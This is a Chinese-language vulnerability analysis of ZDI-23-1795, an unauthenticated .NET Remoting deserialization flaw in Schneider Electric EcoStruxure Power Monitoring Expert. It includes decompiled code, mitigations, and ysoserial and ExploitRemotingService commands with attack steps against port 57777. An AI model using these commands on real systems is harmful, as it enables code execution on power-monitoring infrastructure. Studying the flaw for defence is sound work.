Schneider Electric EcoStruxure PME RCE 漏洞分析
字数 1612 2025-08-24 07:48:33
Schneider Electric EcoStruxure PME RCE漏洞分析与利用指南
漏洞概述
Schneider Electric EcoStruxure Power Monitoring Expert (PME) 是一款电力监控和管理软件。该软件中存在一个远程代码执行漏洞,源于.NET Remoting服务中不安全的反序列化操作。
漏洞编号: ZDI-23-1795
漏洞类型: 不安全的反序列化
影响组件: GetFilteredSinkProvider方法
攻击复杂度: 低
权限要求: 无
影响范围: LOCAL SERVICE权限
漏洞分析
漏洞根源
漏洞存在于PowerMeasurement.IONServices.RemotingCommon类的GetFilteredSinkProvider方法中。该方法配置了两种SinkProvider:
BinaryServerFormatterSinkProviderSoapServerFormatterSinkProvider
关键问题在于TypeFilterLevel被设置为Full,这意味着允许完全不受限制的反序列化操作。
漏洞调用链
CreateChannel方法调用GetFilteredSinkProvider创建SinkProvider- 创建TCP或HTTP通道时使用此SinkProvider
- 通道在
ObjectRegistration类中注册 - 默认绑定端口为57777
- 服务URI为
IONServicesProviderFactory.soap
关键代码分析
public static IChannel CreateChannel(string protocol, int port, IDictionary additionalProperties)
{
bool flag = string.Compare(protocol, "tcp", true, CultureInfo.InvariantCulture) == 0;
IServerChannelSinkProvider filteredSinkProvider = RemotingCommon.GetFilteredSinkProvider(flag);
IDictionary dictionary = new Hashtable();
dictionary["port"] = port;
dictionary["timeout"] = 30000;
if (additionalProperties != null)
{
foreach (object obj in additionalProperties)
{
DictionaryEntry dictionaryEntry = (DictionaryEntry)obj;
dictionary[dictionaryEntry.Key] = dictionaryEntry.Value;
}
}
IChannel result;
if (!flag)
{
IChannel channel = new HttpChannel(dictionary, null, filteredSinkProvider);
result = channel;
}
else
{
IChannel channel = new TcpChannel(dictionary, null, filteredSinkProvider);
result = channel;
}
return result;
}
环境准备
- 下载受影响软件: https://ecoxpert.se.com (需要注册)
- 安装Schneider Electric EcoStruxure PME
- 确认服务运行在默认端口57777
漏洞利用
利用条件
- 能够访问目标系统的57777端口
- 无需任何认证
利用工具
推荐使用ExploitRemotingService工具配合Ysoserial生成的payload:
-
使用Ysoserial生成反序列化payload:
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "calc.exe" -
使用ExploitRemotingService发送payload:
ExploitRemotingService.exe -t tcp://target:57777/IONServicesProviderFactory.soap -s -b payload.bin
利用步骤
- 识别目标系统是否运行EcoStruxure PME
- 确认57777端口开放
- 生成恶意反序列化payload
- 通过.NET Remoting协议发送payload
- 触发反序列化执行任意代码
防御措施
临时缓解方案
- 在网络层面限制对57777端口的访问
- 禁用不必要的.NET Remoting服务
永久修复方案
- 应用厂商提供的安全补丁
- 将
TypeFilterLevel设置为Low而非Full - 实现自定义的
IServerChannelSinkProvider进行输入验证
技术背景
.NET Remoting安全风险
.NET Remoting是一种危险的通信机制,特别是当:
- 使用BinaryFormatter或SoapFormatter
- TypeFilterLevel设置为Full
- 没有适当的认证和授权机制
不安全的反序列化
反序列化漏洞允许攻击者通过精心构造的序列化数据执行任意代码。在.NET中,这通常通过BinaryFormatter或SoapFormatter实现。
参考资源
- 漏洞公告: https://www.zerodayinitiative.com/advisories/ZDI-23-1795/
- .NET Remoting安全指南: https://xz.aliyun.com/t/9605
- ExploitRemotingService工具
- Ysoserial工具
免责声明
本文档仅供安全研究和教育目的使用。未经授权对系统进行测试可能违反法律。请在合法授权范围内使用这些信息。